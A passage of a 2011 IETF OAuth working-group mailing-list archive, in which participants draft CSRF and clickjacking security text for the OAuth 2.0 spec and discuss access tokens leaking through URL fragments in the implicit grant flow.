ZW5kcyB0aGUgc3RhdGUgcGFyYW1ldGVyIHdpdGgNCmF1dGhvcml6YXRpb24gcmVxdWVzdHMgdG8g dGhlIGF1dGhvcml6YXRpb24gc2VydmVyLiBUaGUgc3RhdGUgcGFyYW1ldGVyDQpNVVNUIGJlIG5v bi1ndWVzc2FibGUgYW5kIHRoZSBjbGllbnQgTVVTVCBiZSBjYXBhYmxlIG9mIGtlZXBpbmcgaXQg aW4gYQ0KbG9jYXRpb24gYWNjZXNzaWJsZSBvbmx5IGJ5IHRoZSBjbGllbnQgb3IgdGhlIHVzZXIg YWdlbnQgKGkuZS4sIHByb3RlY3RlZA0KYnkgc2FtZS1vcmlnaW4gcG9saWN5KS4gZS5nLjogRE9N IHZhcmlhYmxlIChwcm90ZWN0ZWQgYnkgX2phdmFzY3JpcHRfIG9yDQpvdGhlciBET00tYmluZGlu ZyBsYW5ndWFnZSdzIGVuZm9yY2VtZW50IG9mIFNPUCksIEhUVFAgY29va2llLCBIVE1MNQ0KY2xp ZW50LXNpZGUgc3RvcmFnZSwgZXRjLiBUaGUgYXV0aG9yaXphdGlvbiBzZXJ2ZXIgd2lsbCBzZW5k IGl0IGluIHRoZQ0KcmVzcG9uc2Ugd2hlbiByZWRpcmVjdGluZyB0aGUgdXNlciB0byBiYWNrIHRv IHRoZSBjbGllbnQgd2hpY2ggTVVTVCB0aGVuDQp2YWxpZGF0ZSB0aGUgc3RhdGUgcGFyYW1ldGVy IG1hdGNoZXMgb24gdGhlIHJlc3BvbnNlLiBVc2Ugb2YgdGhlIHN0YXRlDQpwYXJhbWV0ZXIgYnkg YSBjbGllbnQgcHJvdGVjdHMgYWdhaW5zdCB0aGlzIHN0eWxlIG9mIGF0dGFjayBhcyB0aGUgYXR0 YWNrZXINCmNhbm5vdCBrbm93IHRoZSBzdGF0ZSBwYXJhbWV0ZXIgYXNzb2NpYXRlZCB3aXRoIHRo ZSB2aWN0aW1zIGJyb3dzZXIgc2Vzc2lvbg0KYXQgdGhlIGNsaWVudC4NCldoaWxlIHNlbmRpbmcg dGhlIHN0YXRlIHBhcmFtZXRlciBpcyB0aGUgcHJlZmVycmVkIG1lY2hhbmlzbSBmb3IgbGlua2lu Zw0KdGhlIGNsaWVudCB0byB0aGUgYXV0aG9yaXphdGlvbiByZXF1ZXN0cyBhbmQgY2FsbGJhY2tz LCBhIHN0YXRlIHBhcmFtZXRlcg0KKHMpIGVtYmVkZGVkIGludG8gdGhlIHJlZGlyZWN0IHVyaSBj b3VsZCBiZSB1c2VkIGZvciB0aGUgc2FtZSBwdXJwb3NlLiBBDQpwcmVyZXF1aXNpdGUgaXMgdGhh dCB0aGUgYXV0aG9yaXphdGlvbiBzZXJ2ZXIncyB1cmkgdmFsaWRhdGlvbiBwb2xpY3kgbXVzdA0K YWxsb3cgZm9yIGR5bmFtaWMgdXJpIHF1ZXJ5IHBhcnRzLg0KDQoNCkNsaWNramFja2luZw0KQ2xp Y2tqYWNraW5nIGlzIHRoZSBwcm9jZXNzIG9mIHRyaWNraW5nIHVzZXJzIGludG8gcmV2ZWFsaW5n IGNvbmZpZGVudGlhbA0KaW5mb3JtYXRpb24gb3IgdGFraW5nIGNvbnRyb2wgb2YgdGhlaXIgY29t cHV0ZXIgd2hpbGUgY2xpY2tpbmcgb24gc2VlbWluZ2x5DQppbm5vY3VvdXMgd2ViIHBhZ2VzLiBJ biBtb3JlIGRldGFpbCwgYSBtYWxpY2lvdXMgc2l0ZSBsb2FkcyB0aGUgdGFyZ2V0IHNpdGUNCmlu IGEgdHJhbnNwYXJlbnQgaWZyYW1lIG92ZXJsYWlkIG9uIHRvcCBvZiBhIHNldCBvZiBkdW1teSBi dXR0b25zIHdoaWNoIGFyZQ0KY2FyZWZ1bGx5IGNvbnN0cnVjdGVkIHRvIGJlIHBsYWNlZCBkaXJl Y3RseSB1bmRlciBpbXBvcnRhbnQgYnV0dG9ucyBvbiB0aGUNCnRhcmdldCBzaXRlLiBXaGVuIGEg dXNlciBjbGlja3MgYSB2aXNpYmxlIGJ1dHRvbiwgdGhleSBhcmUgYWN0dWFsbHkNCmNsaWNraW5n IGEgYnV0dG9uIChzdWNoIGFzIGFuICJBdXRob3JpemUiIGJ1dHRvbikgb24gdGhlIGhpZGRlbiBw YWdlLg0KVG8gcHJldmVudCBjbGlja2phY2tpbmcgKGFuZCBwaGlzaGluZyBhdHRhY2tzKSwgbmF0 aXZlIGFwcGxpY2F0aW9ucyBTSE9VTEQNCnVzZSBleHRlcm5hbCBicm93c2VycyBpbnN0ZWFkIG9m IGVtYmVkZGluZyBicm93c2VycyBpbiBhbiBpRnJhbWUgd2hlbg0KcmVxdWVzdGluZyBlbmQtdXNl ciBhdXRob3JpemF0aW9uLiBGb3IgbmV3ZXIgYnJvd3NlcnMsIGF2b2lkYW5jZSBvZiBpRnJhbWVz DQpjYW4gYmUgZW5mb3JjZWQgc2VydmVyIHNpZGUgYnkgdXNpbmcgdGhlIFgtRlJBTUUtT1BUSU9O IGhlYWRlci4gVGhpcyBoZWFkZXINCmNhbiBoYXZlIHR3byB2YWx1ZXMsIGRlbnkgYW5kIHNhbWVv cmlnaW4sIHdoaWNoIHdpbGwgYmxvY2sgYW55IGZyYW1pbmcgb3INCmZyYW1pbmcgYnkgc2l0ZXMg d2l0aCBhIGRpZmZlcmVudCBvcmlnaW4sIHJlc3BlY3RpdmVseS4gRm9yIG9sZGVyIGJyb3dzZXJz LA0KamF2YXNjcmlwdCBmcmFtZWJ1c3RpbmcgdGVjaG5pcXVlcyBjYW4gYmUgdXNlZCBidXQgbWF5 IG5vdCBiZSBlZmZlY3RpdmUgaW4NCmFsbCBicm93c2Vycy4NCg0KUmVnYXJkcw0KDQpFcmFuIEhh bW1lci1MYWhhdiA8ZXJhbkBodWVuaXZlcnNlLmNvbT4gd3JvdGUgb24gMDQvMDcvMjAxMSAyMDow MjowMjoNCg0KPiBGcm9tOg0KPg0KPiBFcmFuIEhhbW1lci1MYWhhdiA8ZXJhbkBodWVuaXZlcnNl LmNvbT4NCj4NCj4gVG86DQo+DQo+IE1hcmsgTWNnbG9pbi9JcmVsYW5kL0lCTUBJQk1JRSwgVG9y c3RlbiBMb2RkZXJzdGVkdA0KPHRvcnN0ZW5AbG9kZGVyc3RlZHQubmV0Pg0KPg0KPiBDYzoNCj4N Cj4gIm9hdXRoQGlldGYub3JnIiA8b2F1dGhAaWV0Zi5vcmc+DQo+DQo+IERhdGU6DQo+DQo+IDA0 LzA3LzIwMTEgMjA6MDENCj4NCj4gU3ViamVjdDoNCj4NCj4gUmU6IFtPQVVUSC1XR10gRHJhZnQg MTYgU2VjdXJpdHkgQ29uc2lkZXJhdGlvbnMgYWRkaXRpb25zDQo+DQo+IFRoaXMgbmVlZHMgdG8g YmUgcmV3b3JrZWQgdG8gcmVmbGVjdCByZWFsaXR5LiBUaGUgc3RhdGUgdmFsdWUgbXVzdA0KPiBi ZSBzaGFyZWQgd2l0aCB0aGUgcmVzb3VyY2Ugb3duZXIncyBicm93c2VyIGFuZCBhdXRob3JpemF0 aW9uDQo+IHNlcnZlciwgc28gaXQgaXMgbm90IHJlYWxseSBhIHNlY3JldCBrbm93biBvbmx5IHRv IHRoZSBjbGllbnTigKYNCj4NCj4gRUhMDQo+DQo+IEZyb206IE1hcmsgTWNnbG9pbiA8bWFyay5t Y2dsb2luQGllLmlibS5jb20+DQo+IERhdGU6IFdlZCwgMSBKdW4gMjAxMSAxMToyODozMyAtMDcw MA0KPiBUbzogVG9yc3RlbiBMb2RkZXJzdGVkdCA8dG9yc3RlbkBsb2RkZXJzdGVkdC5uZXQ+DQo+ IENjOiAib2F1dGhAaWV0Zi5vcmciIDxvYXV0aEBpZXRmLm9yZz4NCj4gU3ViamVjdDogUmU6IFtP QVVUSC1XR10gRHJhZnQgMTYgU2VjdXJpdHkgQ29uc2lkZXJhdGlvbnMgYWRkaXRpb25zDQo+DQo+ IEhpIFRvcnN0ZW4NCj4NCj4gSXQgd2FzIGltcGxpY2l0IHRoYXQgdGhlIHN0YXRlIHBhcmFtZXRl ciB3b3VsZCBiZSBzZWNyZXQgYW5kIG5vdA0KZ3Vlc3NhYmxlDQo+IGJ1dCB0aGF0IGl0IHByb2Jh Ymx5IHdvcnRoIHNwZWxsaW5nIG91dCwgYXMgeW91IGFuZCBCcmVubyBzdGF0ZS4gSGVyZSBpcw0K YQ0KPiBtb2RpZmllZCB2ZXJzaW9uDQo+DQo+IENTUkYNCj4gQ3Jvc3MtU2l0ZSBSZXF1ZXN0IEZv cmdlcnkgKENTUkYpIGlzIGEgd2ViLWJhc2VkIGF0dGFjayB3aGVyZWJ5IEhUVFANCj4gcmVxdWVz dHMgYXJlIHRyYW5zbWl0dGVkIGZyb20gYSB1c2VyIHRoYXQgdGhlIHdlYnNpdGUgdHJ1c3RzIG9y IGhhcw0KPiBhdXRoZW50aWNhdGVkLiBDU1JGIGF0dGFja3Mgb24gT0F1dGggYXBwcm92YWxzIGNh biBhbGxvdyBhbiBhdHRhY2tlciB0bw0KPiBvYnRhaW4gYXV0aG9yaXphdGlvbiB0byBPQXV0aCBQ cm90ZWN0ZWQgUmVzb3VyY2VzIHdpdGhvdXQgdGhlIGNvbnNlbnQgb2YNCj4gdGhlIFVzZXIuDQo+ IFRoZSBzdGF0ZSBwYXJhbWV0ZXIgc2hvdWxkIGJlIHVzZWQgdG8gbWl0aWdhdGUgYWdhaW5zdCBD U1JGIGF0dGFja3MsDQo+IHBhcnRpY3VsYXJseSBmb3IgbG9naW4gQ1NSRiBhdHRhY2tzLiBJdCBp cyBzdHJvbmdseSBSRUNPTU1FTkRFRCB0aGF0IHRoZQ0KPiBjbGllbnQgc2VuZHMgdGhlIHN0YXRl IHBhcmFtZXRlciB3aXRoIGF1dGhvcml6YXRpb24gcmVxdWVzdHMgdG8gdGhlDQo+IGF1dGhvcml6 YXRpb24gc2VydmVyLiBUaGUgc3RhdGUgcGFyYW1ldGVyIE1VU1QgYmUgbm9uLWd1ZXNzYWJsZSBh bmQgTVVTVA0KYmUNCj4gYSBzZWNyZXQgb25seSBhY2Nlc3NpYmxlIHRvIHRoZSBjbGllbnQuIFRo ZSBhdXRob3JpemF0aW9uIHNlcnZlciB3aWxsDQpzZW5kDQo+IGl0IGluIHRoZSByZXNwb25zZSB3 aGVuIHJlZGlyZWN0aW5nIHRoZSB1c2VyIHRvIGJhY2sgdG8gdGhlIGNsaWVudCB3aGljaA0KPiBN VVNUIHRoZW4gdmFsaWRhdGUgdGhlIHN0YXRlIHBhcmFtZXRlciBtYXRjaGVzIG9uIHRoZSByZXNw b25zZS4NCj4NCj4gUmVnYXJkcw0KPiBNYXJrDQo+DQo+IFRvcnN0ZW4gTG9kZGVyc3RlZHQgPHRv cnN0ZW5AbG9kZGVyc3RlZHQubmV0PiB3cm90ZSBvbiAwMS8wNi8yMDExDQowOToxMTozMToNCj4N Cj4gRnJvbToNCj4NCj4gVG9yc3RlbiBMb2RkZXJzdGVkdCA8dG9yc3RlbkBsb2RkZXJzdGVkdC5u ZXQ+DQo+DQo+IFRvOg0KPg0KPiBNYXJrIE1jZ2xvaW4vSXJlbGFuZC9JQk1ASUJNSUUNCj4NCj4g Q2M6DQo+DQo+IG9hdXRoQGlldGYub3JnDQo+DQo+IERhdGU6DQo+DQo+IDAxLzA2LzIwMTEgMDk6 MTENCj4NCj4gU3ViamVjdDoNCj4NCj4gUmU6IFtPQVVUSC1XR10gRHJhZnQgMTYgU2VjdXJpdHkg Q29uc2lkZXJhdGlvbnMgYWRkaXRpb25zDQo+DQo+IEhpIE1hcmssDQo+DQo+IEFtIDMxLjA1LjIw MTEgMjI6NTgsIHNjaHJpZWIgTWFyayBNY2dsb2luOg0KPiA+IEVyYW4NCj4gPg0KPiA+IEhlcmUg YXJlIHNvbWUgYWRkaXRpb25hbCBzZWN0aW9ucyB0byBhZGQgdG8gdGhlIG5leHQgZHJhZnQgdW5k ZXINCj4gc2VjdXJpdHkNCj4gPiBjb25zaWRlcmF0aW9ucw0KPiA+DQo+ID4gQ1NSRg0KPiA+IENy b3NzLVNpdGUgUmVxdWVzdCBGb3JnZXJ5IChDU1JGKSBpcyBhIHdlYi1iYXNlZCBhdHRhY2sgd2hl cmVieSBIVFRQDQo+ID4gcmVxdWVzdHMgYXJlIHRyYW5zbWl0dGVkIGZyb20gYSB1c2VyIHRoYXQg dGhlIHdlYnNpdGUgdHJ1c3RzIG9yIGhhcw0KPiA+IGF1dGhlbnRpY2F0ZWQuIENTUkYgYXR0YWNr cyBvbiBPQXV0aCBhcHByb3ZhbHMgY2FuIGFsbG93IGFuIGF0dGFja2VyIHRvDQo+ID4gb2J0YWlu IGF1dGhvcml6YXRpb24gdG8gT0F1dGggUHJvdGVjdGVkIFJlc291cmNlcyB3aXRob3V0IHRoZSBj b25zZW50DQo+IG9mDQo+ID4gdGhlIFVzZXIuDQo+ID4gVGhlIHN0YXRlIHBhcmFtZXRlciBzaG91 bGQgYmUgdXNlZCB0byBtaXRpZ2F0ZSBhZ2FpbnN0IENTUkYgYXR0YWNrcywNCj4gPiBwYXJ0aWN1 bGFybHkgZm9yIGxvZ2luIENTUkYgYXR0YWNrcy4gSXQgaXMgc3Ryb25nbHkgUkVDT01NRU5ERUQg dGhhdA0KPiB0aGUNCj4gPiBjbGllbnQgc2VuZHMgdGhlIHN0YXRlIHBhcmFtZXRlciB3aXRoIGF1 dGhvcml6YXRpb24gcmVxdWVzdHMgdG8gdGhlDQo+ID4gYXV0aG9yaXphdGlvbiBzZXJ2ZXIuIFRo ZSBhdXRob3JpemF0aW9uIHNlcnZlciB3aWxsIHNlbmQgaXQgaW4gdGhlDQo+IHJlc3BvbnNlDQo+ ID4gd2hlbiByZWRpcmVjdGluZyB0aGUgdXNlciB0byBiYWNrIHRvIHRoZSBjbGllbnQgd2hpY2gg U0hPVUxEIHRoZW4NCj4gdmFsaWRhdGUNCj4gPiB0aGUgc3RhdGUgcGFyYW1ldGVyIG1hdGNoZXMg b24gdGhlIHJlc3BvbnNlLg0KPg0KPiBBcyBmYXIgYXMgSSB1bmRlcnN0YW5kLCB0aGUgZ29hbCBv ZiB0aGUgY291bnRlcm1lYXN1cmUgaXMgdG8gYmluZCB0aGUNCj4gYXV0aHogZmxvdyB0byBhIGNl cnRhaW4gdXNlciBhZ2VudCAoaW5zdGFuY2UpLiBTbyBjbGllbnQgbXVzdCB2ZXJpZnkNCj4gdGhh dCB0aGUgc3RhdGUgcGFyYW1ldGVyIChvciBhbnkgb3RoZXIgVVJMIHBhcmFtZXRlcj8pIG1hdGNo ZXMgc29tZSBkYXRhDQo+IGZvdW5kIGluIHRoZSB1c2VyIGFnZW50IGl0c2VsZiBiZWZvcmUgZnVy dGhlciBwcm9jZXNzaW5nIHRoZSBhdXRoeiBjb2RlLg0KPg0KPiBCcmVubyBleHBsYWluZWQgaXQg YXMgZm9sbG93czoNCj4gLS0tLS0NCj4gLSBDbGllbnQgb3IgdXNlci1hZ2VudCBnZW5lcmF0ZXMg YSBzZWNyZXQuDQo+IC0gVGhlIHNlY3JldCBpcyBzdG9yZWQgaW4gYSBsb2NhdGlvbiBhY2Nlc3Np YmxlIG9ubHkgYnkgdGhlIGNsaWVudCBvcg0KPiB0aGUgdXNlciBhZ2VudCAoaS5lLiwgcHJvdGVj dGVkIGJ5IHNhbWUtb3JpZ2luIHBvbGljeSkuIEUuZy46IERPTQ0KPiB2YXJpYWJsZSAocHJvdGVj dGVkIGJ5IGphdmFzY3JpcHQgb3Igb3RoZXIgRE9NLWJpbmRpbmcgbGFuZ3VhZ2Uncw0KPiBlbmZv cmNlbWVudCBvZiBTT1ApLCBIVFRQIGNvb2tpZSwgSFRNTDUgY2xpZW50LXNpZGUgc3RvcmFnZSwg ZXRjLg0KPiAtIFRoZSBzZWNyZXQgaXMgYXR0YWNoZWQgdG8gdGhlIHN0YXRlIGJlZm9yZSBhIHJl cXVlc3QgaXMgaXNzdWVkIGJ5IHRoZQ0KPiBjbGllbnQNCj4gLSBXaGVuIHRoZSByZXNwb25zZSBp cyByZWNlaXZlZCwgYmVmb3JlIGFjY2VwdGluZyB0aGUgdG9rZW4gb3IgY29kZSwgdGhlDQo+IGNs aWVudCBjb25zdWx0cyB0aGUgdXNlciBhZ2VudCBzdGF0ZSBhbmQgcmVqZWN0cyB0aGUgcmVzcG9u c2UgYWx0b2dldGhlcg0KPiBpZiB0aGUgc3RhdGUgZG9lcyBub3QgbWF0Y2ggdGhlIHVzZXIgYWdl bnQncyBzdG9yZWQgdmFsdWUuDQo+IC0tLS0NCj4NCj4gSSB3b3VsZCBzdWdnZXN0IHRvIGluY29y cG9yYXRlIHRoaXMgaW50byB0aGUgZGVjcmlwdGlvbjoNCj4NCj4gSXQgaXMgc3Ryb25nbHkgUkVD T01NRU5ERUQgdGhhdCB0aGUgY2xpZW50IHNlbmRzIHRoZSBzdGF0ZSBwYXJhbWV0ZXINCj4gd2l0 aCBhdXRob3JpemF0aW9uIHJlcXVlc3RzIHRvIHRoZSBhdXRob3JpemF0aW9uIHNlcnZlci4gX1Ro ZSBzdGF0ZQ0KPiBwYXJhbWV0ZXIgTVVTVCByZWZlciB0byBhIHNlY3JldCB2YWx1ZSByZXRhaW5l ZCBhdCB0aGUgdXNlciBhZ2VudC5fDQo+IFRoZSBhdXRob3JpemF0aW9uIHNlcnZlciB3aWxsIHNl bmQgdGhlIF9zdGF0ZSBwYXJhbWV0ZXJfIGluIHRoZQ0KPiByZXNwb25zZSB3aGVuIHJlZGlyZWN0 aW5nIHRoZSB1c2VyIHRvIGJhY2sgdG8gdGhlIGNsaWVudCB3aGljaA0KPiBfTVVTVF8gdGhlbiB2 YWxpZGF0ZSB0aGUgc3RhdGUgcGFyYW1ldGVyXydzIHZhbHVlIGFnYWluc3QgdGhlIHNlY3JldA0K PiB2YWx1ZSBpbiB0aGUgdXNlciBhZ2VudF8uDQo+DQo+IHJlZ2FyZHMsDQo+IFRvcnN0ZW4uDQo+ DQo+ID4gQ2xpY2tqYWNraW5nDQo+ID4gQ2xpY2tqYWNraW5nIGlzIHRoZSBwcm9jZXNzIG9mIHRy aWNraW5nIHVzZXJzIGludG8gcmV2ZWFsaW5nDQo+IGNvbmZpZGVudGlhbA0KPiA+IGluZm9ybWF0 aW9uIG9yIHRha2luZyBjb250cm9sIG9mIHRoZWlyIGNvbXB1dGVyIHdoaWxlIGNsaWNraW5nIG9u DQo+IHNlZW1pbmdseQ0KPiA+IGlubm9jdW91cyB3ZWIgcGFnZXMuIEluIG1vcmUgZGV0YWlsLCBh IG1hbGljaW91cyBzaXRlIGxvYWRzIHRoZSB0YXJnZXQNCj4gc2l0ZQ0KPiA+IGluIGEgdHJhbnNw YXJlbnQgaWZyYW1lIG92ZXJsYWlkIG9uIHRvcCBvZiBhIHNldCBvZiBkdW1teSBidXR0b25zIHdo aWNoDQo+IGFyZQ0KPiA+IGNhcmVmdWxseSBjb25zdHJ1Y3RlZCB0byBiZSBwbGFjZWQgZGlyZWN0 bHkgdW5kZXIgaW1wb3J0YW50IGJ1dHRvbnMgb24NCj4gdGhlDQo+ID4gdGFyZ2V0IHNpdGUuIFdo ZW4gYSB1c2VyIGNsaWNrcyBhIHZpc2libGUgYnV0dG9uLCB0aGV5IGFyZSBhY3R1YWxseQ0KPiA+ IGNsaWNraW5nIGEgYnV0dG9uIChzdWNoIGFzIGFuICJBdXRob3JpemUiIGJ1dHRvbikgb24gdGhl IGhpZGRlbiBwYWdlLg0KPiA+IFRvIHByZXZlbnQgY2xpY2tqYWNraW5nIChhbmQgcGhpc2hpbmcg YXR0YWNrcyksIG5hdGl2ZSBhcHBsaWNhdGlvbnMNCj4gU0hPVUxEDQo+ID4gdXNlIGV4dGVybmFs IGJyb3dzZXJzIGluc3RlYWQgb2YgZW1iZWRkaW5nIGJyb3dzZXJzIGluIGFuIGlGcmFtZSB3aGVu DQo+ID4gcmVxdWVzdGluZyBlbmQtdXNlciBhdXRob3JpemF0aW9uLiBGb3IgbmV3ZXIgYnJvd3Nl cnMsIGF2b2lkYW5jZSBvZg0KPiBpRnJhbWVzDQo+ID4gY2FuIGJlIGVuZm9yY2VkIHNlcnZlciBz aWRlIGJ5IHVzaW5nIHRoZSBYLUZSQU1FLU9QVElPTiBoZWFkZXIuIFRoaXMNCj4gaGVhZGVyDQo+ ID4gY2FuIGhhdmUgdHdvIHZhbHVlcywgZGVueSBhbmQgc2FtZW9yaWdpbiwgd2hpY2ggd2lsbCBi bG9jayBhbnkgZnJhbWluZw0KPiBvcg0KPiA+IGZyYW1pbmcgYnkgc2l0ZXMgd2l0aCBhIGRpZmZl cmVudCBvcmlnaW4sIHJlc3BlY3RpdmVseS4gRm9yIG9sZGVyDQo+IGJyb3dzZXJzLA0KPiA+IGph dmFzY3JpcHQgZnJhbWVidXN0aW5nIHRlY2huaXF1ZXMgY2FuIGJlIHVzZWQgYnV0IG1heSBub3Qg YmUgZWZmZWN0aXZlDQo+IGluDQo+ID4gYWxsIGJyb3dzZXJzLg0KPiA+DQo+ID4NCj4gPiBSZWdh cmRzDQo+ID4gTWFyaw0KPiA+DQo+ID4gX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fX19fX19fX18NCj4gPiBPQXV0aCBtYWlsaW5nIGxpc3QNCj4gPiBPQXV0aEBpZXRmLm9y Zw0KPiA+IGh0dHBzOi8vd3d3LmlldGYub3JnL21haWxtYW4vbGlzdGluZm8vb2F1dGgNCj4NCj4g X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18NCj4gT0F1dGgg bWFpbGluZyBsaXN0DQo+IE9BdXRoQGlldGYub3JnDQo+IGh0dHBzOi8vd3d3LmlldGYub3JnL21h aWxtYW4vbGlzdGluZm8vb2F1dGg= From kushal@foursquare.com Wed Jul 6 13:08:27 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 5285021F8B6F for ; Wed, 6 Jul 2011 13:08:27 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.976 X-Spam-Level: X-Spam-Status: No, score=-2.976 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, HTML_MESSAGE=0.001, RCVD_IN_DNSWL_LOW=-1] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 2QjDiWg9ak8T for ; Wed, 6 Jul 2011 13:08:26 -0700 (PDT) Received: from mail-ey0-f172.google.com (mail-ey0-f172.google.com [209.85.215.172]) by ietfa.amsl.com (Postfix) with ESMTP id 8418D21F8B73 for ; Wed, 6 Jul 2011 13:08:26 -0700 (PDT) Received: by eye13 with SMTP id 13so97622eye.31 for ; Wed, 06 Jul 2011 13:08:25 -0700 (PDT) Received: by 10.213.17.134 with SMTP id s6mr65535eba.105.1309982905371; Wed, 06 Jul 2011 13:08:25 -0700 (PDT) MIME-Version: 1.0 Received: by 10.213.10.135 with HTTP; Wed, 6 Jul 2011 13:08:05 -0700 (PDT) From: Kushal Dave Date: Wed, 6 Jul 2011 16:08:05 -0400 Message-ID: To: oauth@ietf.org Content-Type: multipart/alternative; boundary=0015174c35c6bc8b3404a76c29b4 X-Mailman-Approved-At: Wed, 06 Jul 2011 13:28:40 -0700 Subject: [OAUTH-WG] Concerns about Implicit Grant flow X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 06 Jul 2011 20:09:10 -0000 --0015174c35c6bc8b3404a76c29b4 Content-Type: text/plain; charset=ISO-8859-1 Hello! Foursquare recently encountered a scary example of a client accidentally leaking user tokens as part of the implicit grant flow. It turns out the official "Tweet this" button provided by twitter grabs the URL, including fragment, at the time of page load, before the client's Javascript has had a chance to elide the access_token hash value. And it's easy to imagine lots of other sharing and analytics tools could be similarly aggressive in transmitting hash values outside of the page. We've thought a lot about what to do about this, short of disabling the flow entirely. One thing that seems viable is to make the "access token" in this flow actually a one-time use token. The requesting page would then make a JSONP request exchanging the one-time use token for a permanent token that is never visible in the URL. Has this come up? Have you had any feedback from other implementors? We're not excited about such a blatant deviation from the spec, but we're not sure what else to do. Cheers, Kushal --0015174c35c6bc8b3404a76c29b4 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Hello!

Foursquare recently encountered a scary example o= f a client accidentally leaking user tokens as part of the implicit grant f= low. It turns out the official "Tweet this" button provided by tw= itter grabs the URL, including fragment, at the time of page load, before t= he client's Javascript has had a chance to elide the access_token hash = value. And it's easy to imagine lots of other sharing and analytics too= ls could be similarly aggressive in transmitting hash values outside of the= page.

We've thought a lot about what to do about this, sh= ort of disabling the flow entirely. One thing that seems viable is to make = the "access token" in this flow actually a one-time use token. Th= e requesting page would then make a JSONP request exchanging the one-time u= se token for a permanent token that is never visible in the URL. Has this c= ome up? Have you had any feedback from other implementors?

We're not excited about such a blatant deviation fr= om the spec, but we're not sure what else to do.

Cheers,
Kushal
--0015174c35c6bc8b3404a76c29b4-- From jricher@mitre.org Wed Jul 6 13:34:13 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id EF24521F8BAD for ; Wed, 6 Jul 2011 13:34:13 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -6.196 X-Spam-Level: X-Spam-Status: No, score=-6.196 tagged_above=-999 required=5 tests=[AWL=0.403, BAYES_00=-2.599, RCVD_IN_DNSWL_MED=-4] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 6hhYJIoqsGv6 for ; Wed, 6 Jul 2011 13:34:11 -0700 (PDT) Received: from smtpksrv1.mitre.org (smtpksrv1.mitre.org [198.49.146.77]) by ietfa.amsl.com (Postfix) with ESMTP id 2A1BD21F8BC6 for ; Wed, 6 Jul 2011 13:34:11 -0700 (PDT) Received: from smtpksrv1.mitre.org (localhost.localdomain [127.0.0.1]) by localhost (Postfix) with SMTP id 65EB721B0AFD; Wed, 6 Jul 2011 16:34:10 -0400 (EDT) Received: from imchub2.MITRE.ORG (imchub2.mitre.org [129.83.29.74]) by smtpksrv1.mitre.org (Postfix) with ESMTP id 6028B21B0593; Wed, 6 Jul 2011 16:34:10 -0400 (EDT) Received: from [129.83.50.1] (129.83.50.1) by imchub2.MITRE.ORG (129.83.29.74) with Microsoft SMTP Server id 8.3.159.2; Wed, 6 Jul 2011 16:34:10 -0400 From: Justin Richer To: Kushal Dave In-Reply-To: References: Content-Type: text/plain; charset="UTF-8" Date: Wed, 6 Jul 2011 16:31:58 -0400 Message-ID: <1309984318.28669.69.camel@ground> MIME-Version: 1.0 X-Mailer: Evolution 2.32.2 Content-Transfer-Encoding: 7bit Cc: "oauth@ietf.org" Subject: Re: [OAUTH-WG] Concerns about Implicit Grant flow X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 06 Jul 2011 20:34:14 -0000 You can still use the access code (web server) flow within a JavaScript application, just without a reliable client secret. The point of the "implicit" flow was to save a roundtrip to the server for light clients with limited lifespans, and it's a tradeoff between security, ease of implementation, and performance. -- Justin On Wed, 2011-07-06 at 16:08 -0400, Kushal Dave wrote: > Hello! > > > Foursquare recently encountered a scary example of a client > accidentally leaking user tokens as part of the implicit grant flow. > It turns out the official "Tweet this" button provided by twitter > grabs the URL, including fragment, at the time of page load, before > the client's Javascript has had a chance to elide the access_token > hash value. And it's easy to imagine lots of other sharing and > analytics tools could be similarly aggressive in transmitting hash > values outside of the page. > > > We've thought a lot about what to do about this, short of disabling > the flow entirely. One thing that seems viable is to make the "access > token" in this flow actually a one-time use token. The requesting page > would then make a JSONP request exchanging the one-time use token for > a permanent token that is never visible in the URL. Has this come up? > Have you had any feedback from other implementors? > > > We're not excited about such a blatant deviation from the spec, but > we're not sure what else to do. > > > Cheers, > Kushal From medkarim.esskalli@gmail.com Wed Jul 6 13:39:11 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id EC26221F8BC2 for ; Wed, 6 Jul 2011 13:39:10 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -3.598 X-Spam-Level: X-Spam-Status: No, score=-3.598 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, HTML_MESSAGE=0.001, RCVD_IN_DNSWL_LOW=-1] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id Zet6FB7RVNXx for ; Wed, 6 Jul 2011 13:39:08 -0700 (PDT) Received: from mail-pz0-f44.google.com (mail-pz0-f44.google.com [209.85.210.44]) by ietfa.amsl.com (Postfix) with ESMTP id A09EC21F8550 for ; Wed, 6 Jul 2011 13:39:08 -0700 (PDT) Received: by pzk5 with SMTP id 5so374027pzk.31 for ; Wed, 06 Jul 2011 13:39:08 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; 